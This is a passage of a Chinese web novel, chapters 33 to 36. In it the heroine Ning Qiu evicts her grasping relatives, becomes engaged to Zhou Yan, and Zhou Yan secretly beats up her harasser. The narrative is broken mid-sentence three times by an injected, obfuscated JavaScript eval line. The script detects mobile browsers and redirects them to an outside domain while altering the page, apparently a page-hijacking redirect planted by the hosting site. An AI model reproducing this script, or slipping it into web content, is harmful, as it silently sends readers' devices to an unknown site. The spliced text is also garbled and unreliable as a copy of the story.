青花婶小声提醒，到底认识没多久，有些话她不好跟周母说太多，怕惹人嫌，小小提醒一句还是有必要的。 周母哪能不明白她的意思？当即坦然道：“老姐姐你放心，我都晓得。” 二人随意交谈的功夫，宁家人的杖刑也陆陆续续结束了。 宁丰收三父子哀嚎声阵阵，面色发白，行完刑宁丰收立马被官差押送进牢房，宁大婶只一个劲哭，连路都走不稳了，母子三人就这么被好心人搀扶着离开县衙。 热闹还没结束，两方人马又一次浩浩汤汤出现在大街上，身后依旧跟着一群看热闹不嫌事大的老百姓。 平安巷本就狭窄，一下子涌入那么多人连个下脚地都没了，特别是宁秋家门口，里三层外三层，全都等着看宁丰收一家的笑话。 宁大婶母子三人身上有伤，连走动都困难，收拾行李的活就落到大儿媳和两个女儿的身上了。 “秋秋，家里你最熟悉，好好盯着点，莫让他们将家里的东西顺走了。” 周母小声提醒，若非自己不了解原本的摆设布局，她都恨不得自己上手，全盘管着，保准不让宁丰收一家占一丁点便宜。 “好。” 宁秋点了点头，正有此意。 她忙活了大半天，现在才真正有时间查看家中的情况，这一看不得了了，宁丰收一家着实无耻到了极点，好好的家被他们折腾的面目全非。 家里的花花草草全部没了，厨房又脏又乱，书房也被翻的乱七八糟，好多书本被毁损，就连屋子里值点钱的家具摆设都逃不过被卖的命运。 宁秋越看越心堵，却依旧压制着自己的脾气，直到她在杂物间看到了阿爹阿娘积灰的牌位，心中那团火瞬间爆发。 她闷声不吭，毫不犹豫捞起一根木棍气势汹汹朝着宁大娘一家子而去。 33. 改口 此时此刻，宁建和宁树两兄弟满心愤恨，目光追随宁秋的身影而动，若是眼神能杀人，她已经被杀几百回了。 可惜兄弟俩身上有伤什么也做不了，只能趴在长凳上痛苦呻.吟，怨天怨地，看着自家行李堆放在庭院之中，随时可能被扔出去，心里更加不痛快了。 他们在心里无能怒骂，将造成当下局面的缘由全部推到别人身上，根本没有意识到自身的问题。 突然，他们看见宁秋从杂物间大步走出来，手持棍棒，气势汹汹，直奔他们而来。 这架势虽不知对方要干嘛，但宁建和宁树心中已经涌现出不好的预感。 他们慌慌张张爬起来，一瘸一拐地后退，每动一下，后面的伤就会牵扯无数下，疼得他们龇牙咧嘴，连眼泪都逼出来了。 “你，你要干嘛？官差都看着，打人可是犯法的。”宁建色厉内荏，试图以此吓退宁秋，维持他自己的体面。 然而宁秋正在气头上压根不管他说了什么，行至跟前毫不犹豫地举起棍棒咬牙朝宁建二人打去，边打她还边骂道：“你们一家子丧良心的玩意，我本不想跟你们计较太多，但你们是怎么做的？” “你们简直不做人！” 宁秋不打算遮掩，打骂交替，很快引起在场所有人的注意。 她继续骂道：“我阿爹阿娘的牌位在主屋摆得好好的，不求你们早晚一炷香，但是你们将它们扔到杂物间算什么？你们住我家宅子，用我家东西，还卖我家的东西养活一家人，最后却那么对我爹娘，你们怎么敢？” “你个泼妇，哎呦，差爷，差爷救命啊！要杀人了。” 宁建和宁树被打的嗷嗷叫，一边喊一边逃，因行动受伤处的限制连挨好几棍子，疼痛让他们失去了理智，口中的辱骂也越发不堪入耳。 他们躲避到哪里宁秋就追到哪里，要是撞上宁大婶和她的女儿，宁秋也照打不误。 一时间，小小的院子里每个角落都充斥着鬼哭狼嚎，两个官差见状，赶忙上前想要阻拦，被周砚制止了。 等宁秋出了一口恶气，官差才假模假样拦一拦，宁建一家方能得到解脱。 “滚，你们都滚出我家。” 宁秋一把拎起宁建他们的行礼一件件往外扔，还招呼周砚一块干。 行李扔完了，她又捞起扫把将人轰出去，动静实在太大，打人的时候什么也顾不上，跟疯子差不多，顿时引得围观人群阵阵唏嘘。 人和东西都赶出了宅子，官差们自觉任务完成与周砚打了声招呼，无视宁建一家的哭喊施施然离开了。 大门一关，内外隔绝，动与静形成了鲜明的对比。 宁秋坐在小矮凳上不说话，其他人也看着她不吭声。 而门外的哭喊声、议论声依旧如魔音贯耳，吵的人心思难以平静。 “还好吗？”周砚温声问。 他在宁秋跟前蹲下，担忧地注视着她的眼睛，薄唇动了又动，实在不会安慰人，只干巴巴说了句：“事情都过去了。” “嗯，我没事。”宁秋的声音很轻，看上去很疲惫，“刚刚打人打累了，歇一歇就好，你不用担心我。” 说着，宁秋想起爹娘的牌位还没收拾好，立马呆不住了，边嘀嘀咕咕边往杂物间走，周砚不明所以又听不清她说了什么，赶忙跟过去，时刻准备搭把手。 宁秋捧起宁母的牌位仔仔细细擦洗检查，还好牌位没有毁损，不然她非得跟宁丰收一家拼命。 她实在是想不通，大家伙各过各的日子不好吗？ 那么多年几乎没有往来，虽是亲人但感情连没有血缘关系的邻居都不如，所谓亲人哪来的脸抢阿爹留下的财产，还堂而皇之将她也列为所有物，简直欺人太甚。 “周大哥，你说世上怎么会有那么多厚颜无耻又不知所谓的人？姑姑一家如此，大伯一家更是有过之而无不及，又坏又自私，蠢而不自知。” 周砚闻言头也不抬，注意力一直在面前的宁父牌位上，语调平缓地回道：“欲壑难填，他们想要的太多，能力和认知却跟不上，眼馋别人过得好又不愿意下苦功挣钱，家里耍一场横，家人再捧一捧，当家做主的时间一长，自己也拎不清几斤几两了。” 他顿了顿，将擦干净的宁父牌位摆上供桌，转头看向宁秋，柔和了眉眼。 “这种人通常只敢窝里横，他们将你和岳父列为自己人，理所应当地认为你们该听他们的话，将你们和你们所赚的每一个铜板记成自己的所属物。岳父在世时好歹是个秀才，读书人受敬重，他们不敢怎么样，岳父一去，家中没有男丁继承香火，他们可不就有借口上门吗？” “真不要脸！”宁秋大骂。 越是了解事情背后的逻辑她心里越恶寒，一件件一桩桩，令人糟心不已，完全与她十多年来所接受的教养相悖。 阿爹将她养得如此好，然而这种好在别人眼中只是评判能不能卖一个好价钱的依据，真是可悲。 “是啊，不要脸。” 周砚立马附和，灼灼目光毫不掩饰地停留在宁秋的脸上，看她因愤怒而涨红的脸没忍住上手捏了捏。 粗糙指腹触及滑嫩肌肤的瞬间，二人眼神相撞皆是一愣。 随即宁秋无意识后退了一步，周砚也仓皇收回了手，二人的脸颊、耳朵都不约而同红了起来。 “咳咳，那个......别想太多，一切都过去了，岳父岳母在天有灵一定也希望你朝前看，好好过日子，而不是陷在过往苦难中纠结不甘。” 周砚很快调整好自己的神情，俊脸一板，又像个没事人一样，若非声音带了丝颤，还真以为他一本正经对什么都无动于衷呢！ “嗯。”宁秋羞怯地应一声，唇角噙着笑意，忙转移话题道：“我去寻一把香给阿爹阿娘点上。” 说着，她转身跑出去，没了影。 周砚缓缓收回目光，指尖轻捻，下一瞬视线便落在自己的鞋头上，虎步微挪，慢慢走到供桌前抬头注视着宁父宁母的牌位。 “岳父，岳母。” 他轻唤，两个普普通通的称呼在他舌尖绕了一圈，仿佛被赋予不同寻常的意义。 主屋很安静，意料之中的，他没有得到回应，却了然又满足的笑了。 他承认自己存有私心还耍了点小心机，但整个交谈下来，宁秋不是没有纠正他的称呼吗？ 说明她心里已经完全将他当做家人，并不觉得称呼有何不妥。 “岳父岳母放心，以后秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696088|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋再不是无依无靠的孤女了。” 周砚的声音很轻，似在低喃自语，说出来的话又像是一个承诺，恰好此时宁秋去而复返，听到声音还以为他在和自己说话，便好奇问道：“你刚说什么？我没听清。” “没什么。”周砚面色坦然，心里却不是这么一回事，有些窘迫又有些庆幸，当即转移话题道：“香分我一半，我也要给岳父岳母上香。” “好。” 宁秋依言分出半把香递给周砚，后知后觉意识到周砚称呼上的不妥，几度欲言又止，还是忍住没说。 待香上完，她才犹犹豫豫地提醒道：“周大哥，我们还没成亲呢！你应该唤我阿爹阿娘为伯父伯母，或者叔叔婶婶，叫岳父岳母不妥当，要是被外人听见会说闲话的。” “没事，我不在外人面前喊。”我是内人。 周砚不以为意，默默在心里补充一句。 他可以不在乎，但不能不顾虑到宁秋的心情，想了想，还是解释一句，说道：“我提前改口也是为了让两位长辈安心，让他们知道你从今往后不是一个人了。” “嗯？” 宁秋闻言一愣，倏然红了眼眶。 是啊，以后她不是一个人了，她会和周砚一起建立自己的小家庭，未来会成为别人的儿媳、妻子，也会成为一个母亲，孕养自己的孩子，然后告诉孩子们，外祖父、外祖母生前是很好很好的长辈，若是他们还在世，一定会如爹娘和祖母一样疼爱孩子。 “哭什么？”周砚蹙眉，手忙脚乱想要哄人，却不知该如何哄。 “都怪你，好好的说这些干嘛，平白惹我流眼泪。” 宁秋这话多少有点强词夺理了，两拳头砸到周砚的胸膛，他脚步都未挪一下，甚至还配合地稳住身形，任由她捶她怨。 等她缓过情绪激动的那一阵，周砚才满脸无奈尝试讲讲道理：“我说的都是事实，就事论事，没别的意思，不至于惹哭你。” “你的意思是我哭纯属自己爱哭，没事找事呗？我不管，反正都怪你。” 宁秋语气发虚，色厉内荏，冷哼一声别过脸去，那傲娇不讲理的小模样直接让周砚大开眼界。 他迟迟不给回应，宁秋还以为他生气了，悄摸摸回头抬眼偷看，却见他眉眼带笑正打量着她，哪有一丝一毫生气的样子？ 只一眼，她便知他是故意的。 故意不理她，存了逗她玩的心思，看看她会如何反应。 想通这一点后，宁秋娇嗔的瞪了周砚一眼，嘟哝道：“一肚子心眼子都用我身上了，反正都怪你。” “好，是我的问题，我的错，都怪我。” 周砚摸了摸自己的鼻子，有些心虚，虽然还是不明白自己有什么问题，但阿娘时常耳提面命，告诫他家里不是讲道理的地方，小事要多包容理解，多让着自己媳妇。 他想想也是这个道理，自己比秋秋大了五岁，多疼她一些是应该的。 宁秋没想到周砚会如此麻利的认错，当即愣了一下，红霞悄然爬上她娇嫩的脸颊，支支吾吾说道：“其实你……你也没有错。” “我知道。”周砚淡笑，抬手抚上宁秋的发顶，磁性的嗓音也随之落入她的耳中，“可那又怎样？” 34. 定亲 那又怎样？ 宁秋心跳漏了半拍，愣愣地望向周砚。 “怎么，傻了？” 周砚突然俯身一点点凑近宁秋的脸，眼看要碰上她的鼻尖才堪堪停下前倾的动作，随即唇角一勾，目光似有若无地扫过她饱满红润的唇瓣，喉结微滚，哑声道：“有错没错不重要，重要的是我乐意。” 话落，宁秋的脑海中似有烟花炸开，她没见过这个样子的周砚，一时间不知该如何应对，整个人慌得不行，双手微颤揪着自己的衣摆，眼神躲闪地问道：“你，你靠那么近干嘛？” 她说不清自己现在是什么感受，紧张、害怕又好似藏了丝期待，心扑通扑通直跳，尽管已经努力控制却依旧无法压下心中的激动。 “你说呢？” 周砚不答反问，见宁秋如此反应心下好笑，当即直起身子，粗鲁地在她头上揉了一把，心情颇好地揶揄道：“话本子少看点，莫想那些乱七八糟的事，岳父岳母在旁看着，我就是想做什么也做不了。” “听你这话好像很遗憾？” 宁秋冷哼一声，不自在的别过头，躲开周砚所乱的手，瞪他道：“你怎么那么烦人，弄乱我头发了。” “好好好。”周砚无奈地收回手，“不逗你了，这边忙完你跟岳父岳母叙叙旧，我看看阿娘那有没有需要帮忙的事，今日多亏了婶子们，该有的感谢不能少，家里被糟蹋成这样也要重新打理。” 宁秋闻言想起乱糟糟的家，心中很不痛快，又想骂人了。 她深吸一口气平复心情，恨声道：“都怪大伯一家癫公癫婆，遇到他们这样的亲戚真是倒了八辈子霉了，一会儿我也出去帮忙，备上薄礼，今晚自家做饭好好感谢青花婶她们。” “成。” 二人很快达成一致意见，临走前，周砚突然出手捏了捏面前姑娘的脸颊肉，动作一收一缩很是迅速，宁秋大为震惊，当即挥手打过去，可惜反应慢了半拍，人已经出屋没了影。 院子里有好几个长辈在，她们边收拾院子边闲聊，若此时追出去没准会惹来长辈们好一通调侃，宁秋光想想那个场面就接受无能。 她脸皮薄，爱脸红，这时候也只能懊恼地跺跺脚，嘴上碎碎念吐槽周砚两句。 不过，她心里并不反感周砚的举动，反而因为他不见外的亲密行为而心动不已。 认识周砚之前，宁秋对感情的理解与憧憬全部源于话本子。 在话本子的世界里，她见识过痴男怨女的糟心虐恋，感受过感情至上宠天宠地的完美爱情，也曾为了历尽千帆有情人终成眷属的故事而落泪...... 但是她从不会将那些故事代入生活之中，话本子看完就丢一边去了，甚至不会看第二遍。 相比那些感天动地的爱情，她作为一个普通人，更向往那种平平淡淡相濡以沫的稳定感。 过日子嘛！ 磕磕碰碰很正常，普通人家为了生活日日在外奔波，活着已经很累了，哪有那么多惊心动魄、死去活来？ 两个人互相理解、互相包容，踏踏实实过日子才是正经。 再说了，嫁娶事宜讲究父母之命媒妁之言，并不是你爱谁就能娶谁或嫁谁，还得看父母同不同意。 很多男女只见过一面就定下亲事，很快成为一家人，对方的人品性格全部从别人的口中得知，消息有真有假，基本是成亲后才有机会真正看清对方，知道对方到底是人还是鬼。 可真正到了那个时候，后悔也晚了。 宁秋很庆幸自己有个开明的父亲，没有因为她是姑娘就疏忽对她独立人格的培养，让她在这个世道里有安身立命的本事。 同时她也为遇到周砚而高兴，庆幸自己的婚姻始于朦胧的好感，那是他们爱情的萌芽。 “秋秋啊！你忙完屋里的活了吗？忙完跟砚哥儿跑一趟，采买些肉、菜回来，路过客栈也顺便退房将行李带回来吧！” 周母的声音在院子里响起，宁秋立马应声从屋中走出来，便听周母继续说道：“晚饭咱们在家里做，方便招待你的几位婶婶，就是住宿问题我还想听听你的意见，你说咱们三人是继续住客栈还是回家里比较好？” “家里有阿爹阿娘，我难得回来，想住在家里陪陪他们，至于客栈那边看您和周大哥的意思，你们想住客栈就住客栈，想在我家住也有屋子。” 宁秋看向周母和周砚，让他们自己做决定。 边上的青花婶子打岔道：“分开住要不得，宁丰收一家子事多，没准还回头报复，秋秋一个人住不安全，既然她想住家里，那王妹妹和大侄儿也住秋秋家里得了，好歹有个照应。哦对了，秋秋还记得黄麻子吗？他还没娶妻，之前没少过来骚扰你，今日动静那么大，他应该也知道你回来了。” 想起逃跑那晚的情形，宁秋的脸色刷一下变白了。 母子俩不认识黄麻子，但是看到宁秋的反应，结合青花婶的话，大概也猜到是怎么一回事了。 周砚脸黑如墨，心中暗暗给王麻子记了一笔，更倾向于住进宁家，保护宁秋。 倒是周母想的多一些，平安巷周围的人都认识宁秋，现在还没正式定亲，她担心住进来会对宁秋的名声有碍。 思虑片刻后，她提议道：“砚哥儿是外男，住进来不妥，没得让人说闲话，不如我住家里陪秋秋，砚哥儿自己住客栈。” 青花婶想说自己不会多嘴，但是想想还是算了，管得了自己管不了别人的嘴，这种事真不能作保，便附和：“我觉得行，你们处理不了就去对门喊我，我让家里那口子过来帮忙。” 几人都觉得没问题，安排就这么定下了。 晚饭几位婶婶带着孙子孙女过来，吵吵嚷嚷，小小的院子难得重新热闹起来。 此情此景，宁秋高兴之余又想起了与阿爹相依为命的十几年，那时亲人在身边，朋友也隔三差五串门。 不管是住了十几年的出租房，还是辛苦买下来的宅子，家里时不时会如今日这般热闹。 晚饭后，四位婶婶考虑到宁秋她们张罗一大桌子菜很辛苦，便主动包揽了洗碗收尾的活。 她们动作麻利，一刻钟左右就将厨房收拾的妥妥贴贴，临别时，宁秋送上特意准备的谢礼，四人连连摆手，说什么也不肯收。 还是周母从中周旋，好说歹说，几人才收下了。 人一走，小院重新归于平静。 周砚亦步亦趋跟在宁秋身边，等她消停才询问起正事来。 “明天我就将需要的东西准备好，你跟关系不错的邻居打声招呼，后天是吉日，我请媒人登门下聘，我们定亲吧？” 宁秋一愣，不解道：“这不是早说好的事吗？” “嗯，一码归一码，还是想再说一遍，免得你忘了。” 周砚面不改色，回答的理所应当，宁秋都被他这一出整无语了。 “你要不要听听自己在说什么，那么大的事，我怎么可能会忘？” 她没好气地白他一眼，转身就走，未发现男人唇角自得的笑意。 按照当地的规矩，两家小儿女定亲之前需要请媒人登门两次。 第一次带礼上门表达男方的结亲意愿，询问女方的心意。 第二次则是正式下聘定亲，两家互换庚帖，商议婚期。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703523|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周砚和宁秋情况特殊便不搞那么复杂了，直接登门下聘走个过场，邀请相熟的三四家邻居过来观礼，由青花婶代为行长辈之责。 仪式安排在正屋，当着宁父宁母牌位的面进行，时长半个时辰。 周砚还在平安巷附近的酒楼定了三桌菜，大家伙吃好喝好，全当提前喝宁秋的喜酒了。 “秋秋，你过来。” 宁秋听声望过去，是自己多年的好友李芷兰，也是青花婶娘家侄女，比宁秋大两岁，现在已经是两个孩子的母亲了。 “芷兰姐。”宁秋轻唤，主动握住了李芷兰的手，“你今日能来，我很高兴。” 她们相识于什么都不懂的童真年岁，两家人租赁了同一座宅子的不同房间，在同一个院子里长大，曾经彼此间是最值得信任的姐妹，也是最了解彼此的人。 可不知从何时起，二人之间的差距越来越大，往来逐渐也少了。 “我当然要来，我们说好要送对方出嫁，你做到了，我自然也不能食言。” 说着，李芷兰不知想到了什么，渐渐红了眼眶。 她粗糙的双手无意识抓紧了宁秋的手，努力控制自己的情绪，神色窘迫，无所适从，片刻后，她终于缓和了情绪用半调侃自己的语气说道：“你瞧我，激动傻了，大好的日子着实失态，秋秋莫怪才好。” 宁秋知道她失态的缘由，不禁叹了一口气，将她拉到正屋，看着她如今的模样心里也是一酸，有些话咀嚼半晌儿愣是不知如何开口。 斟酌再三，宁秋还是顺从了本心，恳切道：“芷兰姐，其实你不必如此，我从未怪过你，也请你放过自己，莫要太自责了，我现在很好不是吗？” “不可否认，刚开始我心里的确对你有怨，当时的情况姐夫明明有能力推我一把，提醒我一句，让我有个准备，即便最终还是要逃跑，也能好过一点，但是他没有，而你明明知道点什么，也选择保全自己的小家，连一句都不透露。” “姐夫在县衙当差，一句话而已，其实并不会影响你们。” “对不起，对不起。” 李芷兰一个劲道歉，得知宁秋被家中大伯二伯逼迫，又被王麻子骚扰，甚至靠打伤王麻子才能逃脱，不知所踪后，她这几个月都在自责和担忧中度过。 直到宁秋回来，人好好的，她才稍微放心。 “唉！都说了你不用道歉。我后来也想明白了，人与人之间本就存在亲属远近，你的选择在情理之中。可是芷兰姐，姐夫什么品行你比我清楚，我希望你多为自己考虑一点，身上的伤莫要拖着，身体是自己的，往后我在平州生活，即便有心也鞭长莫及，今日算是我最后一次劝你了，你好自为之吧！” 宁秋不忍地看向李芷兰，拍了拍她的手背，毫不犹豫松开手，走出主屋。 正好这时周砚过来找她，听见屋子里压抑的哭声疑惑问道：“里面怎么了？” “没事。”宁秋故作轻松朝周砚笑了笑，牵起他的手，柔声说道：“走吧！我们先去敬茶，喜糖之类的也先发给大家伙。” “好。”周砚最后瞥了正屋一眼，不再深究，与宁秋敬酒敬茶去了。 申时初，前来观礼的客人陆陆续续离开，李芷兰也提出了告辞。 “秋秋，你们什么时候回平州？” “明日一早就回。”宁秋捏了捏两个小娃娃的脸，一人塞了一个小红包，“芷兰姐，我这还有收尾的活便不送你们了，今日一别，有缘再见，你也要好好的。” “好！”李芷兰笑了，一手牵着一个孩子缓缓朝巷口走。 单薄的身影渐行渐远，直至消失。 35. 泄愤 宁秋缓缓收回目光，满心惆怅，复杂的情绪直接将她淹没，迟迟无法从失落中挣脱出来。 “人已经走没影了。” 周砚不知何时来到宁秋的身边，顺着她的目光望向巷口，问道：“你们的关系很好？” “嗯，一块长大，以前的关系很好。”宁秋神色淡淡，眉眼间透露着疲惫，仿佛做什么事都提不起劲。 她的回答随意，周砚却敏锐地抓住她话里的重点，心下了然。 可交什么样的朋友，要维护关系还是放弃都是宁秋自己的事情，他无权干涉，也不会去多嘴，作为伴侣默默支持就好了。 想到这，周砚斟酌一二转移了话题，“别想那么多，往后异地生活几乎不会有什么往来了。” 他余光瞥见厨房门口想看热闹的阿娘，很是无奈，压下将姑娘拥入怀中的冲动，动作一改，宽厚的手掌落到她的肩头，轻轻捏了捏，继续道：“先帮阿娘收拾东西，你也累了，晚上早点休息。” “好。”宁秋正有此意便顺着话回应了。 周母没看见想看的场景遗憾地撇撇嘴，心里将儿子吐槽好几遍了，不过宁秋在旁她不好表现的太明显，生怕宁秋误会，影响她好婆婆的形象。 正好此时宁秋也看了过来，她忙招招手，笑道：“各家借来的碗筷桌椅他们都带走了，剩下都是咱们自己家的东西，不多，三个人一起很快就能清洗干净。” “这样吧！”周母没等两个小的说什么，直接安排任务，“秋秋清扫垃圾，我来洗碗擦桌，砚哥儿搬完桌椅板凳收拾剩下的喜糖喜饼，看看还剩多少，能存放的带回平州，不耐放的都分给邻居们。” 周砚和宁秋不是小气的人，对此安排没有意见，当即点了点头。 三人分工明确，做事井井有条，收拾好家里的卫生，周母又指挥儿子上街采买明日上坟需要用的香烛纸钱。 她闲不住，手头没活干又开始操心起宅子的安置问题了。 “秋秋。” “嗯？”宁秋正准备回屋眯一会儿，突然听见周母喊她，茫然地看过去。 “宅子闲置无人打理，缺少人气容易破败，你想想接下来怎么安置宅子，是租赁出去还是空着交给信任的邻居帮忙照看？” 宁秋沉默，深思熟虑后才道：“大伯一家也不知有没有彻底死心，空着太惹眼，托付给谁都是大麻烦，还是找牙行租出去吧！” 这处宅子被大伯一家折腾的面露全非，已不是宁秋熟悉的模样，唯一不舍的只有阿爹阿娘的灵牌，等离开时一块带走就成，至于宅子，租出去还能多得一笔进项，空着太浪费了。 “好，一会儿砚哥儿回来你跟他说一声，他长得高大比较唬人，有他在你身边，牙行那些人不敢坑你们。” 周母生活经验比较足话里话外都在为宁秋着想，宁秋很是感激，连连道谢，还亲密地挽住周母的手臂夸她厉害，懂得真多，周母当即乐的合不拢嘴，看向宁秋的眼神更加慈爱了。 另一边，周砚独自走在陌生的街道上，由于对章回县不熟悉，只能边走边找临街商铺的掌柜小二问路，经过将近半个时辰的时间，他终于抵达丧葬一条街。 相比别处的热闹繁华，这里就冷清多了。 非年节生意不好做，周砚凭借自己的采买经验前前后后对比好几家店铺，才买到优质的香烛纸钱。 回程经过闹市区，周砚看见一家生意很火爆的糕点铺子，想起宁秋很喜欢吃甜食，便毫不犹豫过去排队了。 这会儿时辰尚早，他也有足够的耐心，百无聊赖排队之际，突然听到不远处有人喊“麻子哥”，他顿时一激灵，身为捕头的敏锐支配着他的身体，锐利的目光瞬间朝声音方向迸射过去。 只见路对面聚集了六个男人，流里流气，一看就不是什么好东西。 按照他们的站位和姿态，周砚一眼便看出身着砖红长袍的男子是几人中的老大，也就是“麻子哥”。 说话的男人一脸谄媚，正狗腿的说着什么，隔得太远周砚听不见，眨眼的功夫，砖红长袍男子突然发火一巴掌打在说话男子的脸上，其他四名男子见状皆是一惊，默默后退了一步，生怕气头上的老大情绪失控殃及他们一汪池鱼。 周砚隔着一条街正好将这一幕收入眼底，眼中闪过一丝玩味。 巧了，他还没腾出时间料理这个人渣，对方就主动送上门了，可惜现在还不是合适的时机，且让对方再嚣张半日吧！ 周砚深深看了那边一眼，收回神思，买了梅花酥和绿豆糕转身离开。 是夜，月光清幽。 周砚在宁家吃完晚饭并没有直接回客栈，而是左拐右拐进入一条陌生的小巷子，寻个角落静静等待。 亥时一过，安静许久的巷道突然响起踉踉跄跄的脚步声，还有男人满含醉意的谩骂，遣词用语低俗不堪。 周砚认出声音来源，将最后一口饼塞入嘴里，拍了拍手大步往外走。 此时黄麻子还不知道有危险降临，他整个人晕晕乎乎，情绪被手下小弟的三言两句牵动着，大发脾气，各种污言秽语张口就来，不停回荡在狭小的小巷中。 他看不清小弟的脸，也看不清巷子前方的场景，连站都站不稳还不忘打小弟一巴掌。 小弟一路上都在忍气吞声，赔笑认错，好不容易将人送回来，准备敲门时，突然被黄麻子踉跄着踹了一脚，骂道：“老子还能喝，不用你管，滚，给老子滚！” “好嘞，小人这就滚，麻子哥，我按规矩送你到家了，你自己进去，以后有别的好活记得找我。” 小弟摸了摸被黄麻子踢疼的大腿肉，如蒙大赦，敷衍的敲两下门转头就跑。 黄麻子躺在地上，脑袋垫着门槛，双眼已经顶不住酒精麻痹缓缓闭上，彻底合眼的前一瞬，他恍惚间看到有人影靠近，可惜脑子和眼皮都太沉了，根本不允许他思考就彻底睡了过去。 “喝，喝......” 周砚一步步靠近黄麻子，刚蹲下，臭烘烘的酒气迎面扑来，他不禁蹙起眉头，默默远离了一点，满脸嫌弃。 “哎，人还醒着吗？”他轻轻踹了黄麻子一脚，对方翻个身继续躺，宅子里面也不见任何动静。 周砚左右看看，确认这个时辰已经没有其他人走动了，便揪住黄麻子的衣领将人往僻静处拖。 寒冬腊月，天寒地冻，黄麻子身上穿着厚实的棉衣，即便被人摩擦着地面拖行也察觉不到疼痛。 所处位置被迫转移一段路后，他潜意识里感觉到不对劲，双眼与意识相争，好不容易睁开一条缝，结果没等询问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714050|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么情况，密密麻麻的拳头便落到他的脸上了。 一拳两拳，一脚两脚。 黄麻子顾头不顾尾，整个人哀嚎着蜷缩着，想逃却怎么也逃不掉。 “救命啊！救......呜呜......救命！” 周砚一边大力揍黄麻子一边注意周围几家人的动静，打了一刻钟左右，黄麻子声音渐渐减弱，哀嚎变成了呻.吟，痛苦地蜷成一团。 “求你，别打了。” 黄麻子一个劲求饶，酒意全没，心理恨极了打他的人，但是对方警惕，他好几次想看清对方的长相都被一拳头遏制了。 “好汉，大哥，求您放过我吧！要是哪里得罪您，我一定改，求您留我一命。” 听着黄麻子没骨气的话，周砚不屑冷笑，又往他脸上揍了两拳头，一拳比一拳狠辣。 “好汉饶命！我错了，我错了，你想要什么我都给你。” 黄麻子越是这样怂包，周砚就越觉得对方恶心，欺软怕硬的东西，打一顿他尤觉得不解气。 就在周砚准备二度进攻时，离此地最近的一户人家亮起了灯，他见情况不对迅速补上两脚转身就走。 身后是黄麻子痛苦的嚎叫以及巷中住户关切的问询，周砚头也不回，堵在心头的郁气经过一场单方面输出的打斗，总算发泄出去了。 这一夜，他睡得格外香甜，也将打人的秘密深深埋在心底。 翌日食时，周砚提着早饭敲响了宁家的大门，三人简单填饱肚子提着贡品香烛乘坐马车出城上山了。 宁父与宁母毗邻而葬，上山的路宁秋已经不记得走过多少次了。 “走过那座坟头，前面并排的两座就是我阿爹阿娘的阴宅了。” 宁秋故作轻松，想缓和三人之间略显压抑的氛围，可是收效甚微，周砚母子都一脸严肃，听了她的话只郑重地点了点头。 周母生死看淡，路上也起过聊天的念头，但是怕自己的废话说太多给宁秋留下不庄重的印象，干脆全程闭嘴，保持严肃状态。 周砚则是单纯不想说话，一个人背着大部分东西吭哧吭哧往山上爬，时不时还要分心拉一把老娘和媳妇。 三人顺利上山，周母直接累得一屁股坐到杂草堆上，周砚负责清理阴宅的杂草，重新修一修坟头形状，宁秋则摆上贡品，点上香烛，恭恭敬敬跪下磕三个头。 他们在山上呆了整整一个时辰，周母与宁秋对着坟头不断说话，也不管宁父宁母能不能听见，反正该说的他们都说了。 忙完已至午时，三人随便吃几口干粮垫吧垫吧肚子，才驾着马车回城。 马车第一时间还给马行，宁秋提议下馆子吃午饭，她知道附近有一家很好吃的饭馆，价格也很公道。 周母一锤定音，道：“行，都听秋秋的。” 饭馆位置不算好，或许是名声已经打出去了，这个点还剩好几桌吃饭的人。 他们三人刚坐下，便听身后那一桌有人说道：“你们听说了吗？麻子哥不知道得罪哪位神仙，昨晚在自家门口挨了一顿毒打，浑身伤，今日直接躺床上下不来了。” “真的假的？” “自然是真的，这种事老子骗你干嘛？今日我特意登门看过，那张脸，啧啧，都肿成猪头了，眼睛都睁不开。” 36. 多思 说话的男子满脸兴奋，好不容易找到愿意听他吐槽的人当即如倒豆子般将自己的所见所闻全部说出来。 “昨晚我送麻子哥回家，走的时候他还好好的……” 听到黄麻子的名字，宁秋的注意力瞬间被吸引，微微蹙起眉头，耳朵不由自主竖起偷听身后那桌人的对话。 “可不是，麻子哥还冲我发火，好大一口锅差点就扣我头上了，呸，要不是他家叔叔是县太爷身边的红人，老子才不会受这种窝囊气。” “得了吧你，小心祸从口出，谁让咱们不如别人，该舔就舔，抱怨没用。” “也是。”说话的男子话赶话，说完就后悔了，同伴递来台阶他立马就下，匆匆转移话题。 宁秋越听越兴奋，暗骂黄麻子活该，做那么多坏事总算栽了大跟头，可喜可贺。 但她转念一想，又隐隐觉得有哪里不对劲，一时间说不上来。 